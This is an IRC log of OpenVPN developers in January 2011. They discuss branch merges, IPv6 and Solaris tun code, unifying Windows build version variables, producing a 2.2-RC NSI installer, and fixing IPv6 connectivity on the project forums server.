<@cron2> regarding tun.c, I assumed it would not be too complicated, but didn't find any time to look at it - didn't even have access to my Solaris VM for a few days (my desk at home moved to a differnt room, to create a room for $daughter, and due to 'no time' the machine wasn't setup for days...) 15:20 <@cron2> is it committed already? 15:20 <@cron2> I could test the branch tomo 15:20 <@cron2> rro 15:20 <+krzee> w 15:20 <@cron2> (ugh, cat on the keyboard) 15:20 <@cron2> I could test the branch tomorrow from the solaris 10 VM 15:23 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:23 <@dazo> cool! I'll push out the tree very soon then 15:24 <@cron2> allmerged? 15:24 <@dazo> yepp! 15:25 <+krzee> aww mattock timed out 15:26 <+krzee> windows building question in #openvpn 15:26 <+krzee> oh nm cron2 is on it =] 15:26 <@cron2> dazo: ok, will test tomorrow or saturday and report back 15:28 <@dazo> cron2: perfect! 15:28 <@dazo> I'm doing a little smoke test now, to see that it seems to work ... and that it does compile without issues 15:28 <@cron2> dazo: ask mattock to give you the t_client.rc file that tests fine vs. mattocks's test server VM 15:29 <@cron2> ("at least it worked two weeks ago" :) ) 15:29 <@dazo> cool! I'll do that tomorrow then! 15:29 <@dazo> that tests also ipv6 stuff too? 15:30 <@cron2> IIRC, yes (I think IPv6-for-topology-subnet-on-linux is #commented because it's known to not-work right now, but the rest is in) 15:31 <@dazo> nice! 15:32 <@dazo> crap ... that merge failed big time 15:32 * dazo goes back to start 15:33 <+krzee> mmm smoke test 15:33 <+krzee> i get to smoke real weed again soon!!! 15:34 <+krzee> going back to cali on sat 15:34 <+krzee> (to vegas tomorrow) 15:35 <@dazo> krzee: no wonder you're not a developer .......... 15:35 * dazo runs 15:36 <+krzee> lol 15:36 <+krzee> bbiaf 15:37 <+krzee> time to leave work 15:37 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:37 <@dazo> have fun :) 15:38 <@cron2> dazo: what do you mwan with failed big time? 15:38 <@dazo> for some reason ... some patches from (like the pthread cleanup) was completely missing in the new allmerged 15:39 <@dazo> but it's so long since I started this merge, it's just better to start from scratch 15:40 <@cron2> maybe that will cleanup the socket.c case right away :) 15:40 <@dazo> maybe :) 16:02 <@dazo> cron2: #include <stropts.h> is not needed in tun.c on Solaris anymore? 16:09 <@cron2> uh, I think that is a new addition 16:09 <@dazo> ahh, then I should probably not remove it 16:09 <@cron2> my "v6 based on 2.1" tun.c does not have it, my "2.2-beta" tun.c (which has the new solaris stuff) does 16:10 <@dazo> yeah, then I'll put it in 16:11 <@dazo> it was some extra issues with mroute as well, as my pthread cleanup removed mroute_helper_{lock,unlock} ... so that helped confusing the merge even more 16:11 <@dazo> but now it builds :) 16:12 <@cron2> cool 16:19 <@dazo> running make check now ... seems to go fine now ... first push in a few minutes 16:21 <@dazo> and pushed! 16:48 -!- Praetorians [~praetoria@c-76-111-17-90.hsd1.md.comcast.net] has quit [] 17:05 -!- psha [~psha@213.208.162.69] has quit [Quit: zzz] 17:52 * dazo calls this a day 17:53 -!- dazo is now known as dazo_afk 18:21 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 18:21 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 18:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 18:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 18:22 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 18:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Client Quit] 18:25 -!- jamesyonan_ [~jamesyona@208.43.3.119] has quit [Ping timeout: 240 seconds] 19:33 -!- phessler [~phessler@gir.theapt.org] has quit [Ping timeout: 240 seconds] --- Day changed Fri Jan 14 2011 00:25 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:00 -!- phessler [~phessler@gir.theapt.org] has joined #openvpn-devel 01:27 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:52 -!- dazo_afk is now known as dazo 03:22 <@mattock> haha, first OpenVPN NSI installer was generated... still some warnings, but no fatal errors 03:29 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 03:30 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 03:42 <@dazo> mattock: cool! 03:42 <@mattock> I think it's just a matter of installing OpenSSL utilities now... last dependency 03:43 <@mattock> btw, I made one change to how the buildsystem works... could you share your view on it 03:44 <@mattock> so, in a nutshell, a before my change a few (2) variables (PRODUCT_VERSION and PRODUCT_TAP_ID) were parsed from version.m4. However, they were only stored in memory, so they could not be passed to NSI installer script (which needed them) 03:45 <@mattock> so, I removed that parsing code and put those two variables into the default place (win/settings.in) where all other variables are located 03:45 <@mattock> that solves the problem and makes the build system code simpler and more transparent 03:45 <@mattock> the only issue being that version.m4 and settings.in may get out of sync (in fact, they already are out of sync) 03:46 <@dazo> I would like to avoid needing to maintain version id's more than one place 03:46 <@mattock> yeah, me too... but... 03:46 <@dazo> I believe we can't make version.m4 automatically generated 03:46 <@mattock> the problem is that I would have to add a lot of nasty stuff to the new build system to fully use version.m4 03:46 <@mattock> so, basically this is the alternative: 03:47 <@mattock> 1) create a temporary file with PRODUCT_TAP_ID and PRODUCT_VERSION which openvpn.nsi script can include 03:47 <@mattock> 2) hack win/wb.py method parse_version_m4 to parse also TAP_MAJOR_VER and TAP_MINOR_VER and put those to the file, too 03:48 <@mattock> for some reason those two variables have different names in version.m4 and settings.in 03:48 <@mattock> and they're out of sync already 03:48 <@mattock> 9.1 in version.m4, 9.7 in win/settings.in 03:50 <@mattock> so, personally, I think this pulling stuff from all over the place, converting it in the fly, defining some variables in win/settings.in and some in version.m4 etc. is a can of worms... but I do understand the flipside, too 03:51 <@dazo> I personally like 2) best .... even though I'm not aware of all what wb.py does 03:52 <@mattock> wb.py does all sorts of nasty file parsing stuff... it's an utility method class 03:52 <@mattock> so it's like 1 + 2, not one of them 03:52 <@dazo> ahh 03:53 <@dazo> then I see, then that makes most sense to me 03:53 <@mattock> currently, only PRODUCT_TAP_ID is parsed from version.m4 03:53 <@mattock> we'd need PRODUCT_VERSION and the TAP-driver related variables, too 03:53 <@dazo> I don't find it that hacky, actually ... and when PRODUCT_TAP_ID is already being extracted, why not take the rest of the variables as well? 03:53 <@mattock> and we'd need to store them somewhere outside python for NSI to be able to use them 03:54 <@dazo> that's pretty normal as well, in my eyes 03:54 <@mattock> ok, so version.m4 has this: 03:54 <@mattock> dnl define the OpenVPN version 03:54 <@mattock> define(PRODUCT_VERSION,[2.2-beta5]) 03:54 <@mattock> dnl define the TAP version 03:54 <@mattock> define(PRODUCT_TAP_ID,[tap0901]) 03:54 <@mattock> define(PRODUCT_TAP_WIN32_MIN_MAJOR,[9]) 03:54 <@mattock> define(PRODUCT_TAP_WIN32_MIN_MINOR,[1]) 03:54 -!- mattock was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://openvpn.pastebin.ca for posting logs or configs.] 03:55 <@dazo> hahahaha 03:55 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:55 <@mattock> ok, no flooding this time :D 03:55 <@dazo> lol 03:55 <@dazo> nope :) 03:56 <@mattock> ok, so currently there are overlapping variables in win/settings.in: http://pastie.org/1459392 03:57 <@mattock> and note that the TAP driver minor and major versions are not called the same as in version.m4 03:57 <@mattock> not yet sure why 03:57 <@mattock> but if that's mandatory, the variable names would have to be converted on the fly, too 03:57 <@mattock> and I think the PRODUCT_TAP_RELDATE should be in version.m4, too 03:58 <@dazo> that is something we probably can unify 03:58 <@dazo> that makes sense 03:59 <@mattock> so, it looks like James abandoned the autotools buildsystem and started moving stuff to win/settings.in 04:00 <@mattock> I'll check settings.in to see if there's anything else that's worth moving to version.m4 04:02 <@mattock> maybe these: http://pastie.org/1459406 04:02 <@mattock> not sure though 04:02 <@dazo> sounds so ... but if we can unify things for our sanities sake, that's better 04:02 * dazo looks 04:03 <@mattock> the FILE_EXT probably not 04:03 <@mattock> so, either go all in with the version.m4 <-> settings.in decoupling... or integrate them fully 04:03 <@dazo> I don't think we need to move these anywhere, they are practically static 04:03 <@mattock> current situation is confusing 04:03 <@dazo> agreed 04:04 <@dazo> but if we want to make settings.in completely generated, then moving these out might make sense 04:05 <@mattock> well, settings.in can't be completely generated... it contains paths to various build dependencies 04:05 <@mattock> so, there's a place for it 04:05 <@dazo> yeah, then I say we just move variables most likely to be used on all platforms outside version.m4, and only let windows specific stuff stay there 04:06 <@mattock> but having the version information in version.m4 makes sense... if we can live with somewhat hacky code that parses version.m4 and puts the variables into a file openvpn.nsi can then read 04:07 <@dazo> for me that's not hacky at all ... that's just a pure sane approach 04:07 <@mattock> or rather, keep stuff specific to Python-based buildsystem in win/settings.in... and the rest in version.m4 (incl. tap-driver stuff) 04:08 <@dazo> yeah, that's probably what I meant 04:08 <@mattock> yep 04:08 * dazo forgot for a moment we have two windows builders 04:08 <@mattock> anyways, I'll get on it, then... hopefully I got a functional installer by the end of the day 04:09 <@dazo> that would be awesome ... then we can maybe have a proper release of 2.2-RC next week? 04:12 <@mattock> hopefully... if get _something_ out today, I'll put it to build.openvpn.net for testing. It won't work in Windows Vista/7 64-bit, because the drivers are not signed. But at least XP users could test if it works 04:12 <@dazo> cool! 04:13 <@dazo> if we take the signed drivers from beta5, would that work? 04:13 <@mattock> it should... in fact, I guess I could hack together an installer with the signed drivers 04:14 <@mattock> NSI generation is not yet integrated to python anyways, so... 04:14 <@dazo> that'd be good ... then we can officially go live after some smoketesting of the windows installer 04:19 <@mattock> yep 04:19 <@mattock> I now have the means to install Win7 64bit and WinXP test VMs... but that takes time, too 04:19 <@mattock> so better have community smoke test the installers 04:20 <@dazo> agreed 04:21 <@dazo> we can ask ecrist and krzie to promote a pre-release of 2.2-RC ... might be some willing users on #openvpn 04:23 <@dazo> 64 bytes from 10.35.0.1: icmp_seq=1 ttl=64 time=3833 ms 04:23 <@dazo> 64 bytes from 10.35.0.1: icmp_seq=2 ttl=64 time=2834 ms 04:23 <@dazo> this is not right ... when that's my wifi AP, which is about 70cm away from me .... 04:23 * dazo curses the iwlagn driver in F13 04:30 <@mattock> dazo: does this version.m4 look good: http://pastie.org/1459452 04:31 <@dazo> I think so :) 04:32 <@mattock> ok, great 04:32 <@mattock> I'll enhance the version.m4 parsing, then 04:32 * dazo tests this version.m4 now 04:33 <@dazo> no complaints from autotools on Linux, so the syntax is safe 04:38 <@mattock> tapdrv.c seems to need TAP_DRIVER_MAJOR_VERSION, which was only defined in settins.in (now removed) 04:40 <@mattock> so conversion is definitely needed 04:44 -!- common- [~common@p5DDA484E.dip0.t-ipconnect.de] has joined #openvpn-devel 04:45 -!- common [~common@p5DDA482E.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:45 -!- common- is now known as common 04:52 <@dazo> mattock: hmmm ... my immediate thought is to create a header file ... but that will require some autotools changes as well 04:53 <@dazo> where/how/what is the error? 05:46 <@dazo> mattock: btw ... do you have a working t_client.rc file handy? 05:46 <@dazo> cron2 mentioned you might have that by now :) 06:04 <+krzie> [06:21] <dazo> we can ask ecrist and krzie to promote a pre-release of 2.2-RC ... might be some willing users on #openvpn 06:04 <+krzie> im certain there will be 06:04 <@dazo> thx! 06:16 <+krzie> np, just let us know when its released 06:16 <+krzie> believe it or not, we'll get users just by updating the topic 06:19 <+krzie> the changelog sure does look impressive, good job devs! 06:19 <+krzie> ill see ya guys off and on for awhile, vacation starts now 06:20 <+krzie> 2 months or so in vegas, california, maybe random parts of usa, columbia, peru, argentina, hopefully brazil 06:21 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: Leaving] 06:30 <@mattock> dazo: yep, I can send you a t_client.rc 06:30 <@mattock> krzie: have fun and see you soon! 06:32 <@cron2> mattock: mornin' :-) - have you decided with ecrist what to do about forums+ipv6? 06:37 <@mattock> dazo: the error is triggered in c:\winddk\blabla\common.ver, actually 06:37 <@mattock> I have not yet found out how exactly the version information from win/settings.in is passed to the TAP driver build process 06:38 <@mattock> cron2: still not working? ecrist said he fixed it 06:38 <@mattock> also, the em0/em1 split was there for a reason... although I need to ask Andrew if it's still necessary 06:38 < ecrist> what's wrong with ipv6 on forums? 06:44 <@mattock> dazo: actually, there's a working t_client.rc in build.openvpn.net, but cron2 had another one 06:50 <@dazo> $ telnet forums.openvpn.net 80 06:50 <@dazo> Trying 2607:f0d0:1001:14::3... 06:50 <@dazo> telnet: connect to address 2607:f0d0:1001:14::3: Connection timed out 06:50 <@dazo> Trying 208.43.3.117... 06:50 <@dazo> Connected to forums.openvpn.net. 06:50 <@dazo> Escape character is '^]'. 06:50 <@dazo> ecrist: ^^^ 06:51 < ecrist> I see that now. I didn't have ipv6 set up at home, so I configured it quick. I'll get the forums working 06:52 <@mattock> hmm... this removal of duplicate variables from settings.in put me into a world of hurt... 06:53 <@mattock> really difficult to see what the build system code is doing, so many moving parts 06:53 < ecrist> looks like all the ipv6 stuff failed when I rebooted that box. 06:53 < ecrist> *sigh* 06:53 <@dazo> mattock: so winddk requires some constants, so that actually dictates what we should use then ... basically 06:54 <@mattock> I want to find out how the WinDDK build is actually loading the variables from settings.in 06:55 <@mattock> it's just that if we go down the route of duplicate data, better go all the way :P 06:56 < ecrist> mattock: I can't ping the ipv6 default router 06:56 <@mattock> mkay 06:56 < ecrist> did you or someone reconfigure the vlans for em0 on that box, or is it still set for em1? 06:57 <@mattock> no, I did not do any VLAN stuff 06:57 <@mattock> I barely know what VLAN means :D 06:58 < ecrist> heh 06:59 <@dazo> VLAN is pretty cool actually :) 06:59 <@dazo> especially when you have VLAN capable switches :) 06:59 < ecrist> we use the hell out of vlans these days 07:00 < ecrist> looks like my ipv6 problems are in the firewall, mattock 07:00 < ecrist> appears traffic is coming in on em0 now 07:00 <@mattock> ok 07:01 < ecrist> yeah, if I disable the firewall, things work, so I'll re-tweak the firewall 07:02 <@mattock> ok 07:08 < ecrist> it helps if *I* don't make typos in the crap I'm fixing. 07:09 * ecrist is not on his 'A' game today 07:11 <@mattock> dazo, cron2: any opinions which of the following is least bad: 07:14 <@mattock> 1) add variables PRODUCT_TAP_MAJOR_VER and PRODUCT_TAP_MINOR_VER into version.m4, thus creating duplicate information there 07:14 <@mattock> 2) add hacks to win/wb.py to generate those variables automatically on the fly, getting the contents from the old variables 07:15 <@mattock> so, in case of 1), whenever TAP driver is changed, the MINOR and MAJOR versions would have to be edited twice in version.m4 07:17 < ecrist> cron2 or dazo: ipv6 on forums working for you now? 07:17 <@dazo> mattock: does one of them do a "translation" of the variable names? 07:17 * dazo checks 07:17 <@mattock> nope, not currently 07:17 <@mattock> it just parses the variables 07:17 <@mattock> see win/wb.py, method parse_version_m4 07:18 <@dazo> that might be cleaner though, to do that in wb.py - as part of 2) ... just document it why it is needed 07:18 <@dazo> ecrist: works now 07:18 <@mattock> ok 07:18 < ecrist> :D 07:18 < ecrist> somwone fubar'd the rc.c0nf 07:18 <@dazo> and now it stipped 07:18 * ecrist eyes mattock 07:18 <@dazo> stopped 07:19 <@mattock> ecrist: I'm innocent of everything 07:19 <@mattock> :) 07:19 <@dazo> "I just did an innocent and safe change" :-P 07:19 < ecrist> oh, shit, i forgot, mea culpa 07:20 <@mattock> what was wrong with rc.conf? 07:20 < ecrist> someone had ipv6_ifconfig_em1="inet6 blah blah" instead of ipv6_ifconfig_em1="blah blah" 07:21 < ecrist> the inet6 arg is passed to ifconfig based on the var name 07:21 < ecrist> so, what was actually getting passed was "ifconfig em1 inet6 inet6 blah blah" 07:21 < ecrist> which broke stuff 07:22 < ecrist> my fumbling this morning put ipv6 on em0 instead of em1, which is why the firewall was blocking traffic 07:24 <@cron2> re 07:24 <@cron2> sorry for running away, daughter woke up 07:25 < ecrist> no excuse 07:25 <@cron2> right now, it's not working 07:25 < ecrist> dammit 07:25 < ecrist> I'll look further when I get back 07:26 <@mattock> btw. guys, you got to try meddling with the new build system at some point... it's doing some really fancy and really confusing stuff :D 07:26 <@mattock> and it ain't getting any simpler 07:27 < ecrist> mattock: if you've time today, I'd like to chat with you about some things, possible infrastructure changes/improvements. 07:27 <@mattock> I'm getting the feeling James likes converters and fancy methods with fancy regexp groups 07:27 < ecrist> biab, gotta run in to the office 07:27 <@cron2> ecrist: see ya :) 07:27 <@mattock> ecrist: might have some time in the evening... 07:27 <@dazo> mattock: could you commit your stuff somehow and push it to a server where we can pull down your stuff? .... we'll clean up and merge the commits as needed in the end 07:28 <@mattock> hmm... you mean a public git repo? 07:28 <@dazo> yeah, you can push it to a box with http ... and just run git update-server (or something similar) ... I can help you with that 07:29 <@dazo> (you push via ssh, and other can pull via http) 07:29 <@mattock> I probably could, yes... I'll try to get the build system more or less finished first 07:30 <@mattock> build.openvpn.net would be a good candidate 07:30 <@dazo> yeah 07:30 <@dazo> mattock: I was mainly suggesting that so that we could help you to understand what you're facing of issues :) 07:31 <@mattock> I'm fine, I'm just complaining aloud to keep myself warm :P 07:31 <@mattock> the version.m4 parser should be ready now, I'll test it 07:32 <@dazo> nice! 07:38 <@mattock> oh yes, now the drivers build just fine 07:39 <@mattock> now I just need to pass those to NSI somehow... a temporary file should do it 07:47 <@dazo> yeah 08:23 <@mattock> now I'm back where I was a few hours ago :) 08:23 <@mattock> meaning that it's lacking openssl utils and not much more 08:32 <@dazo> mattock: it's so close I feel we can almost smell it :) 08:33 <@mattock> yeah, I think it's now fixed 08:33 <@mattock> got to pull and test 08:33 * ecrist is back 08:34 <@mattock> if somebody can point me to signed TAP drivers I'm most grateful 08:34 <@mattock> I would consider it a miracle if the first version of the installer works as intended :) 08:40 < ecrist> cron2 or dazo: ipv6 working again? 08:41 < ecrist> --- 2607:f0d0:1001:14::3 ping6 statistics --- 08:41 < ecrist> 10 packets transmitted, 10 packets received, 0.0% packet loss 08:41 < ecrist> round-trip min/avg/max/std-dev = 114.479/132.729/170.350/18.804 ms 08:41 < ecrist> mattock: the rule you added was redundant, afaik 08:42 <@dazo> ecrist: yes! 08:42 * ecrist eyes openvpn tech 08:42 <@mattock> you mean the ICMP6 rule at the bottom? 08:42 < ecrist> they *did* change vlan config 08:42 < ecrist> mattock: yes 08:42 < ecrist> the rule directly above that does the same thing 08:42 <@mattock> ok 08:43 < ecrist> it worked due to a bad arp cache initially when I set things up and moved ipv6 to the interface I was told it should work on. 08:43 < ecrist> changed it back to em0 and things work again. 08:44 <@mattock> excellent! 08:45 < ecrist> mattock: OS is up to date, firewall is back in place, 62 ports are out of date with current tree, which I'm not overly concerned with 08:45 < ecrist> is that a vmware image? 08:45 <@mattock> do the ports updates include generic fixes, or only security updates? 08:45 < ecrist> generic fixes 08:45 <@mattock> ecrist: don't know, but probably 08:45 <@mattock> raidz knows the details 08:46 < ecrist> if you or he could snapshot that vm, it would give us a good going-back point 08:47 < ecrist> I do back that machine up every night, still, but snapshots are quicker to restore. 08:48 <@mattock> I'll ask him to do that 08:48 <@mattock> in case it's not being done already 08:52 <@mattock> behold: the new OpenVPN installer: http://users.utu.fi/sjsepp/openvpn-installer.png 08:54 <@dazo> w00t!?!? we have our own installer now!?!? 08:54 < ecrist> heh 08:54 < ecrist> straight from Windows 95 08:54 <@dazo> heh 08:54 <@dazo> mattock: good photoshop work! :-P 08:54 <@dazo> nah, this looks promising :) 08:55 <@mattock> actually gimp work :) 08:55 <@dazo> lol 08:55 <@mattock> seemed to work ok, but I could not test installing it 08:55 <@mattock> I'll put it somewhere now 08:56 <@dazo> mattock: before you do that 08:56 <@dazo> can you change beta5 to RC in version.m4 and rebuild? 08:56 <@mattock> oh, btw... openvpn-gui is not included yet 08:56 <@dazo> ouch 08:56 <@mattock> I need an EXE 08:56 <@dazo> is it just an exe file? 08:56 <@mattock> yep 08:57 * dazo checks is ~/.wine directory 08:59 <@mattock> did we decide to use the new GUI? or make it an alternative option? 08:59 <@mattock> if the latter, I would suggest using the old one for 2.2-rc 09:00 <@mattock> and adding the new one as an option in 2.2-release 09:00 <@dazo> yes, we decided at the very late minute to use the old gui for 2.2 09:01 <@dazo> and we also decided to run the new gui in 2.3 and allmerged 09:01 <@cron2> ecrist: woohoo! forums pinging + http'ing with ipv6 :) 09:01 <@mattock> dazo: ok 09:02 * cron2 puts forums+community ipv6 ping into our monitoring systems 09:34 <@mattock> openvpn-gui now supported in installer, PRODUCT_VERSION is now 2.2-rc 09:34 <@mattock> now just the signed tap driver and it's ready for smoke testing 09:50 <@mattock> ok, here's the first version of the exe: http://build.openvpn.net/downloads/releases/openvpn-2.2-rc-install.exe 09:51 <@mattock> could you spread the word, e.g. to #openvpn? 09:51 <@mattock> I got to do other stuff now 09:53 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 10:06 <@dazo> mattock: cool! 10:06 <@mattock> if you got any old Windows boxes lying around please test it 10:06 <@mattock> I would not use the installer on a production machine, even though it should not break anything 10:07 <@mattock> the openvpn.nsi files was modified to such a degree that things may have broken, even if the EXE generation worked properly 10:08 <@dazo> mattock: Just tested in wine ... seems something is missing 10:08 <@dazo> err:module:import_dll Library lzo2.dll (which is needed by L"C:\\Program Files\\OpenVPN\\bin\\openvpn.exe") not found 10:08 <@mattock> hmm, ok 10:08 <@mattock> I'll check if there's something obvious missing 10:13 <@mattock> it's also complaining when trying to remove old tap driver 10:13 <@mattock> however, that's to be expected, as it's trying to remove version 0801 (hardcoded in openvpn.nsi) 10:18 <@mattock> hmm, I wonder why lzo2.dll is not installed in openvpn.nsi (mine or the old one) 10:33 <@mattock> I got errors about msvcr90.dll required by openvpnserv.exe 10:36 <@mattock> hmm... msvcr90.dll = microsoft visual c runtime 9.0 dll? 10:36 <@mattock> I think we should test this on a real windows box and see if it fails 10:36 <@mattock> the earlier OpenVPN installers don't install lzo2.dll, either 10:36 <@mattock> and there's no trace of lzo2.dll installation in openvpn.nsi (old or new) 10:38 <@dazo> mattock: but if lzo got enabled by default with the new building tool, it's needed 10:39 <@dazo> if it's lacking in earlier installations, it means that it was either disabled during compilation or statically linked 11:45 <@mattock> probably statically linked 12:16 -!- dazo is now known as dazo_afk 15:49 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] --- Day changed Sat Jan 15 2011 00:34 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:46 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 01:07 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 01:07 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 01:07 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:34 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 04:31 <@cron2> mattock, dazo: I think it's statically linked - our corporate servers require lzo, and none of the windows users ever had problems 04:43 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 04:43 -!- mode/#openvpn-devel [+v krzie] by ChanServ 04:44 -!- common- [~common@p5DDA4378.dip0.t-ipconnect.de] has joined #openvpn-devel 04:45 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 04:45 -!- common [~common@p5DDA484E.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:45 -!- common- is now known as common 05:21 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:28 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 08:32 -!- raidzxx [~Andrew@seance.openvpn.org] has quit [Ping timeout: 240 seconds] 09:31 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 09:33 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:00 -!- psha is now known as psha_atx 10:11 -!- psha_atx is now known as psha 14:39 -!- common- [~common@p5DDA4378.dip0.t-ipconnect.de] has joined #openvpn-devel 14:47 -!- Netsplit *.net <-> *.split quits: common 14:48 -!- common- is now known as common 14:54 -!- helmut [helmut@subdivi.de] has quit [Ping timeout: 260 seconds] 14:54 -!- helmut [helmut@subdivi.de] has joined #openvpn-devel 15:04 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 15:06 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:06 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 15:21 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 15:22 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:35 -!- psha [~psha@213.208.162.69] has quit [Quit: zzz] --- Day changed Sun Jan 16 2011 00:20 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:31 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 04:45 -!- common- [~common@p5DDA4BF7.dip0.t-ipconnect.de] has joined #openvpn-devel 04:47 -!- common [~common@p5DDA4378.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds] 04:47 -!- common- is now known as common 08:07 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:35 <@cron2> openvpn configure + lzo sucks 08:35 <@cron2> why doesn't it just find lzo if it's installed in "the usual place"? 08:38 <@cron2> dazo: your merge is no good... 08:38 <@cron2> /rhome/gert/src/openvpn-dazo/openvpn-testing/tun.c:1626: error: `ipv6' undeclared (first use in this function) 08:39 <@cron2> dazo: the whole function "ipv6_support()" has been thrown out, due to "irrelevance" 08:43 * cron2 tries merging solaris-tap into feat_ipv6_payload 08:54 <@cron2> ah 08:54 <@cron2> this conflict is really nasty 10:19 <@cron2> dazo: just deleting this line (calling ipv6_support()) is sufficient 11:18 * cron2 curses solaris 13:03 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 15:16 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] --- Day changed Mon Jan 17 2011 00:19 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:51 -!- dazo_afk is now known as dazo 02:56 <@cron2> dazo: good morning :-) - I have commits for you (see mail) ;-9 02:57 <@dazo> cron2: I saw that! gonna look at that as soon as possible :) 02:57 <@dazo> then I'll resync feat_ipv6_payload into allmerged as well 02:59 <@dazo> cron2: what's on your plan for the IPv6 payload patches, btw? 02:59 <@dazo> I mean, are there some unsolved TODOs which you'd like to have fixed ... or is it getting ready for prime-time in the following months? 03:07 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 03:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:37 <@cron2> dazo: in TUN mode, the basic functionality seems to be working for everyone who tested it, so I think it's fine for 2.3 03:37 <@cron2> in TAP mode, some bits and pieces are still missing (route pushing doesn't work) 03:37 <@cron2> besides that, there's "additional functionality" that I'd like to see implemented 03:38 <@dazo> cron2: nice! Okay, I have a TAP based network with routing available ... so I can test out the IPv6 stuff there - I'm implementing IPv6 on that site (even though, it's going to be moved to TUN eventually) 03:38 <@cron2> I have a tap test in t_client.rc - it just has disabled some of the test targets 03:41 <@cron2> (because I know that "push route-ipv6" isn't working, so no need to have a FAIL every time) 03:41 <@dazo> I was thinking to put this into the production environment (yeah, I'm brave and stupidly daring :-P) ... which already have plenty of IPv4 users ... so that way, you get some stability tests ... one client is even a 24/7 client 03:42 <@dazo> or "plenty" is an exaggeration ... but there are 4-5 regular users, including the 24/7 connection 03:45 <@cron2> the IPv6 stuff is running on our corporate production servers (one runs 2.1+patch, the other runs the FreeBSD openvpn-testing port) 03:46 <@dazo> yeah, then we should get good enough test coverage 03:46 <@cron2> ... and we should have it in buildbot auto-testing $soon, which is something I'm really happy about :-) 03:46 * dazo too 03:47 <@cron2> when I find lots of spare time somewhere, I'll add t_server.sh "start server, call out to $reference_client to connect to local server, see whether things work" 03:47 <@cron2> sort of "inverted t_client.sh" 03:47 <@dazo> cool! 04:09 -!- psha[work] [~psha@qwe.s2s.msu.ru] has joined #openvpn-devel 04:10 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 04:45 -!- common- [~common@p5DDA4873.dip0.t-ipconnect.de] has joined #openvpn-devel 04:48 -!- common [~common@p5DDA4BF7.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds] 04:48 -!- common- is now known as common 07:40 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:08 -!- psha[work] [~psha@qwe.s2s.msu.ru] has quit [Quit: leaving] 08:57 <@mattock> I'll start setting up a Windows test VM and then iron out the remaining issues in the Windows installer 09:18 <@dazo> mattock: cool! 09:19 <@mattock> is whole centos domain down, btw? 09:19 <@mattock> e.g. this page: http://wiki.centos.org/HowTos/KVM 09:19 <@mattock> or is it just me 09:22 <@dazo> seems down to me 09:22 <@dazo> what do you wonder about? 09:24 <@dazo> http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/5/ ... you might find some clues here 09:24 <@vpnHelper> Title: Red Hat Enterprise Linux 5 (at docs.redhat.com) 09:26 <@mattock> just looking for Windows guest specific stuff 09:26 <@mattock> for kvm 09:27 <@dazo> http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/6/html/Virtualization/form-Virtualization-Installing_the_KVM_Windows_para_virtualized_drivers-Installing_with_a_virtualized_floppy_disk.html 09:27 <@vpnHelper> Title: 11.2.2. Installing drivers during the Windows installation (at docs.redhat.com) 09:27 